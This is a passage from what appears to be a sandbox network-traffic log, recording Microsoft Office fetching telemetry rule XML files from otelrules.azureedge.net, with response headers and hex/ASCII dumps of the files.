2024-11-17 21:20:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:37 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: dd43ea10-201e-0003-39d2-37f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212037Z-16547b76f7fl5zvnhC1DFWtk9g000000034g00000000twev x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:37 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:37 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:37 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:37 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 49ec1b40-d01e-00ad-43af-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212037Z-16547b76f7fw2955hC1DFWsptc000000059g00000000h4s2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:37 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:37 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:37 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:37 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212037Z-1866b5c5fbb2t6txhC1DFWa2qc00000004y00000000033ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:37 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.7	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:38 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212038Z-16547b76f7fzwxm2hC1DFWt5hw00000002bg00000000ptxe x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:38 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.7	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:38 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:38 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212038Z-1866b5c5fbbtpjhjhC1DFWr6tw00000004t000000000b1cn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:38 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.7	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:38 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:38 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1604fc63-801e-0047-0dc4-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212038Z-1866b5c5fbbpxkkxhC1DFWhvmc000000050g00000000qt3g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:38 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:38 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:38 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6763c5ef-a01e-000d-6fc4-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212038Z-16547b76f7fljddfhC1DFWeqbs00000005sg0000000031sk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:38 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:38 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:38 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:38 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212038Z-1866b5c5fbbvz6qbhC1DFWsyms00000004300000000073r6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:38 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:39 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:39 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 398e56de-301e-001f-6c81-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212039Z-164f84587bf7jb9dhC1DFWkay400000004d000000000nvvx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:39 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:39 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:39 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212039Z-1866b5c5fbblmqrkhC1DFWf9ns00000002vg00000000mvp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:39 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:39 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:39 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:39 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212039Z-16547b76f7fw2955hC1DFWsptc00000005e0000000001xgv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:39 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 21:20:39 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 21:20:39 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 21:20:39 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T212039Z-16547b76f7f64d6whC1DFWf9vn00000003c000000000hcn1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 21:20:39 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 